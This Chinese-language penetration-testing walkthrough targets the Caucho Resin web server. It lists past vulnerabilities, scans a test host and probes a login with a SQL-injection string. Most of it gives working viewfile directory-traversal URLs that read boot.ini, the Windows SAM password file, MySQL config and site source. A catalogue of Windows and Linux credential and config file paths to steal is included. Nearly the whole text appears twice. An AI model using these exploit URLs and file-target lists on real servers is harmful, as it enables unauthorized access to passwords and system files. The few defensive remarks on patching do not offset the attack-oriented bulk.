1 前言
记得有次面试,考官问道“你认为对Resin服务器发动攻击有难度吗?如果是你,会利用什么攻击方法呢?” ,很具体的技术细节,还记得回答是,“我认为针对Resin攻击是很容易的,当然要视具体的安全状况而定,完全的因人环境而异,如果是我选择对Resin对进行攻击,我会根据版本的漏洞列表,进行测试攻击。”考官一笑而过,估计给雷倒了。Resin提供了最快的Jsp/servets运行平台。在Java和JavaScrip的支持下,Resin可以为任务灵活选用合适的开发语言,Resin的一种先进的语言XSL(XML stylesheet language)可以使得形式和内容相分离。Resin以其良好的速度正在受到许多商业站点的欢迎。但其安全性却往往让人遗忘。
2 漏洞分析
正如老先生所说的,“世上本无路,走的人多也就成了路”,在漏洞面前来理解大概就能这样说了“世上本无漏洞,挖掘人多也就有了”,细数Resin漏洞如下:
2007-05-16 Caucho Resin多个远程信息泄露漏洞
2006-05-17 Caucho Resin viewfile远程文件及路径泄露漏洞
2004-02-13 Caucho Technology Resin源代码和目录列表泄露漏洞
2002-07-26 Caucho Technology Resin Server设备名远程路径泄露漏洞
2002-07-01 Caucho Resin WEB服务器程序远程路径泄露漏洞
2002-06-28 Caucho Technology Resin服务程序远程拒绝服务攻击漏洞
2001-02-26 Caucho Technology Resin 目录遍历漏洞
2000-11-24 Caucho Technology Resin 1.2 JSP 源码泄漏
从上面可以看出来,多数是文件和目录泄漏洞,在日常管理和安全设置能更有针对性,防止敏感信息泄露,无论是攻防都应该从以下方面去考虑:
1) 数据库的敏感信息泄漏
2) 操作系统的敏感信息泄漏
3) 脚本的敏感信息泄漏
4) Resin的敏感信泄漏
所以说,有针对性的研究和总结应用的漏洞,在攻防的角度,都具有很实际的价值。作为一个渗透手,一份完整的漏洞列表是如此的重要。
3 漏洞利用
在获取系统信息,一般用telnet或mstsc简单测试,或者常规扫描器,比如X-Scan、天镜、榕基。
看来没有前人种的小黄瓜了,完全是出于对人品的测试。
脚本信息获取
对WEB服务刺探,常用扫描器有wwwscan、wvs、appscan等,了解主机上的网站架构和网站目录是很关键的一步。对主机的80、8080端口刺探。
#wwwscan.exe www.test.com -p 8080 -m 10 -t 16
80端口居然什么都没有返回呀,访问目录:
看来系统管理员相当的自信喽!人品测试继续,分析一下返回的数据包:
由图可知:Resin的版本是3.0.21
对主机的另一个网站进行目录扫描,有点结果了。有个“admin_manage”目录存在,进入口进行注入行测试,提交“admin’ or ‘’=’”,结果却暴露其路径“D:\webtest\admin_manage\include\head.php”。
在PHP配置时,去除错误调试,用到的参数是display_errors,这个参数主要是帮助开发者定位和确定程序错误,直接修改php.ini文件,设置display_errors=Off。
数据库信息获取
针对数据库的探测,快速的方法有特定端口扫描、手工探测。当然也有常规的针对数据库的扫描工具不在本文的讨论范围。
端口探测
一般数据库都自己特定的端口,比如mysql的3306、Mssql的1433等,命令如下:
#nc –wl 3306
手工探测
手工探测最多用的大概是通过向网页提交畸形数据导致数据库直接暴错,根据返回的错误信息进行确认。另一种方法,就是通知各个数据库注释符的不一致来判别。
比如“;”“–”“/*”。
信息综合分析
通过上次的信息综合整理可得:
系统:windows 2003
数据库:mysql
Apache:2.2.6
PHP:5.2.4
主机上其中有使用PHP架设的站点,其路径是:
D:\webroot\admin_manage\include\head.php
攻击测试
信息泄漏漏洞
在2007年时候,Resin暴出远程信息泄露漏洞,其公告如下:
影响版本: Resin v3.1.0 –V.3.0.21 for Window
Resin for Windows实现上存在多个漏洞,远程攻击者可能利用此漏洞非授权获取敏感信息。Resin没有正确过滤通过URL传送的输入,允许远程攻击者通过在URL中提供有任意扩展名的DOS设备文件名从系统上的任意COM或LPT设备读取连续的数据流、通过目录遍历攻击泄露Web应用的WEB-INF目录中的文件内容,或通过包含有特殊字符的URL泄露到Caucho Resin服务器的完整系统路径。Resin的某个CGI程序实现上存在输入验证漏洞,远程攻击者可能利用此漏洞读取Web主目录下的任意文件,包括JSP源码或类文件。viewfile servlet可以无需参数在Web主目录中浏览任意文件。
3.5.1.2 测试过程
通过漏洞的描述可以知道,在漏洞利用需要特殊字符,“\../”的字符,或者利用viewfile servlet来对系统文件操作。测试提交URL:
列出了,Web-inf目录的文件,直接下class文件进行反Java文件。
介绍一个反Javar 的工具“Java Decompiler”,它由C++开发,支持对整个jar,Javar的编译。如图:
在编译后,没有发现敏感信息,直接用viewfile去读取目录下的主文件:
提交URL如下:
http://www.test.com/Resin-doc/viewfile/?file=index.Jsp
读取目录下的index.Jsp文件。
按程序的逻辑读取源文件,居然也没有发现敏感信息。继续去读取系统文件试试。
提交URL,读取系统文件:
http://www.test.com/Resin-doc/viewfile/?contextpath=C:\&servletpath=&file=boot.ini
居然成功了。再来读取系统文件,提交URL如下:
http://www.test.com/Resin-doc/viewfile/?contextpath=C:\windows\system32&servletpath=&file=cmd.exe
可以依次对敏感文件进行读取测试,一般的默认路径有:
Win:
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
Linux:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
依次提交语句如下:
http://www.test.com/Resin-doc/viewfile/?contextpath=c:\windows\repair\&servletpath=&file=sam
http://www.test.com/Resin-doc/viewfile/?contextpath=c:\windows\&servletpath=&file=my.ini
如图:
终于获取了些敏感信息了。当然直接读取另一个网站的源代码也是可以的。
提交读取语句:
http://www.test.com/Resin-doc/viewfile/?contextpath=D:\webroot\root\admin_manage\include\&servletpath=&file=head.php
读取源代码成功。本文仅作测试,希望能给大家在渗透时提供些思路。从测试还是可以看到系统管理员对安全设置的忽视。应用程序的补丁是安全防护的第一道门,而许多的系统管理员却不太愿意安装,正如安全短板的理论,一个木桶由许多块木板组成,如果这些木板长短不一,那么这个木桶的最大容量就取决于其中最短的那块木板了。
记得有次面试,考官问道“你认为对Resin服务器发动攻击有难度吗?如果是你,会利用什么攻击方法呢?” ,很具体的技术细节,还记得回答是,“我认为针对Resin攻击是很容易的,当然要视具体的安全状况而定,完全的因人环境而异,如果是我选择对Resin对进行攻击,我会根据版本的漏洞列表,进行测试攻击。”考官一笑而过,估计给雷倒了。Resin提供了最快的Jsp/servets运行平台。在Java和JavaScrip的支持下,Resin可以为任务灵活选用合适的开发语言,Resin的一种先进的语言XSL(XML stylesheet language)可以使得形式和内容相分离。Resin以其良好的速度正在受到许多商业站点的欢迎。但其安全性却往往让人遗忘。
2 漏洞分析
正如老先生所说的,“世上本无路,走的人多也就成了路”,在漏洞面前来理解大概就能这样说了“世上本无漏洞,挖掘人多也就有了”,细数Resin漏洞如下:
2007-05-16 Caucho Resin多个远程信息泄露漏洞
2006-05-17 Caucho Resin viewfile远程文件及路径泄露漏洞
2004-02-13 Caucho Technology Resin源代码和目录列表泄露漏洞
2002-07-26 Caucho Technology Resin Server设备名远程路径泄露漏洞
2002-07-01 Caucho Resin WEB服务器程序远程路径泄露漏洞
2002-06-28 Caucho Technology Resin服务程序远程拒绝服务攻击漏洞
2001-02-26 Caucho Technology Resin 目录遍历漏洞
2000-11-24 Caucho Technology Resin 1.2 JSP 源码泄漏
从上面可以看出来,多数是文件和目录泄漏洞,在日常管理和安全设置能更有针对性,防止敏感信息泄露,无论是攻防都应该从以下方面去考虑:
1) 数据库的敏感信息泄漏
2) 操作系统的敏感信息泄漏
3) 脚本的敏感信息泄漏
4) Resin的敏感信泄漏
所以说,有针对性的研究和总结应用的漏洞,在攻防的角度,都具有很实际的价值。作为一个渗透手,一份完整的漏洞列表是如此的重要。
3 漏洞利用
在获取系统信息,一般用telnet或mstsc简单测试,或者常规扫描器,比如X-Scan、天镜、榕基。
看来没有前人种的小黄瓜了,完全是出于对人品的测试。
脚本信息获取
对WEB服务刺探,常用扫描器有wwwscan、wvs、appscan等,了解主机上的网站架构和网站目录是很关键的一步。对主机的80、8080端口刺探。
#wwwscan.exe www.test.com -p 8080 -m 10 -t 16
80端口居然什么都没有返回呀,访问目录:
看来系统管理员相当的自信喽!人品测试继续,分析一下返回的数据包:
由图可知:Resin的版本是3.0.21
对主机的另一个网站进行目录扫描,有点结果了。有个“admin_manage”目录存在,进入口进行注入行测试,提交“admin’ or ‘’=’”,结果却暴露其路径“D:\webtest\admin_manage\include\head.php”。
在PHP配置时,去除错误调试,用到的参数是display_errors,这个参数主要是帮助开发者定位和确定程序错误,直接修改php.ini文件,设置display_errors=Off。
数据库信息获取
针对数据库的探测,快速的方法有特定端口扫描、手工探测。当然也有常规的针对数据库的扫描工具不在本文的讨论范围。
端口探测
一般数据库都自己特定的端口,比如mysql的3306、Mssql的1433等,命令如下:
#nc –wl 3306
手工探测
手工探测最多用的大概是通过向网页提交畸形数据导致数据库直接暴错,根据返回的错误信息进行确认。另一种方法,就是通知各个数据库注释符的不一致来判别。
比如“;”“–”“/*”。
信息综合分析
通过上次的信息综合整理可得:
系统:windows 2003
数据库:mysql
Apache:2.2.6
PHP:5.2.4
主机上其中有使用PHP架设的站点,其路径是:
D:\webroot\admin_manage\include\head.php
攻击测试
信息泄漏漏洞
在2007年时候,Resin暴出远程信息泄露漏洞,其公告如下:
影响版本: Resin v3.1.0 –V.3.0.21 for Window
Resin for Windows实现上存在多个漏洞,远程攻击者可能利用此漏洞非授权获取敏感信息。Resin没有正确过滤通过URL传送的输入,允许远程攻击者通过在URL中提供有任意扩展名的DOS设备文件名从系统上的任意COM或LPT设备读取连续的数据流、通过目录遍历攻击泄露Web应用的WEB-INF目录中的文件内容,或通过包含有特殊字符的URL泄露到Caucho Resin服务器的完整系统路径。Resin的某个CGI程序实现上存在输入验证漏洞,远程攻击者可能利用此漏洞读取Web主目录下的任意文件,包括JSP源码或类文件。viewfile servlet可以无需参数在Web主目录中浏览任意文件。
3.5.1.2 测试过程
通过漏洞的描述可以知道,在漏洞利用需要特殊字符,“\../”的字符,或者利用viewfile servlet来对系统文件操作。测试提交URL:
列出了,Web-inf目录的文件,直接下class文件进行反Java文件。
介绍一个反Javar 的工具“Java Decompiler”,它由C++开发,支持对整个jar,Javar的编译。如图:
在编译后,没有发现敏感信息,直接用viewfile去读取目录下的主文件:
提交URL如下:
http://www.test.com/Resin-doc/viewfile/?file=index.Jsp
读取目录下的index.Jsp文件。
按程序的逻辑读取源文件,居然也没有发现敏感信息。继续去读取系统文件试试。
提交URL,读取系统文件:
http://www.test.com/Resin-doc/viewfile/?contextpath=C:\&servletpath=&file=boot.ini
居然成功了。再来读取系统文件,提交URL如下:
http://www.test.com/Resin-doc/viewfile/?contextpath=C:\windows\system32&servletpath=&file=cmd.exe
可以依次对敏感文件进行读取测试,一般的默认路径有:
Win:
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
Linux:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
依次提交语句如下:
http://www.test.com/Resin-doc/viewfile/?contextpath=c:\windows\repair\&servletpath=&file=sam
http://www.test.com/Resin-doc/viewfile/?contextpath=c:\windows\&servletpath=&file=my.ini
如图:
终于获取了些敏感信息了。当然直接读取另一个网站的源代码也是可以的。
提交读取语句:
http://www.test.com/Resin-doc/viewfile/?contextpath=D:\webroot\root\admin_manage\include\&servletpath=&file=head.php
读取源代码成功。本文仅作测试,希望能给大家在渗透时提供些思路。从测试还是可以看到系统管理员对安全设置的忽视。应用程序的补丁是安全防护的第一道门,而许多的系统管理员却不太愿意安装,正如安全短板的理论,一个木桶由许多块木板组成,如果这些木板长短不一,那么这个木桶的最大容量就取决于其中最短的那块木板了。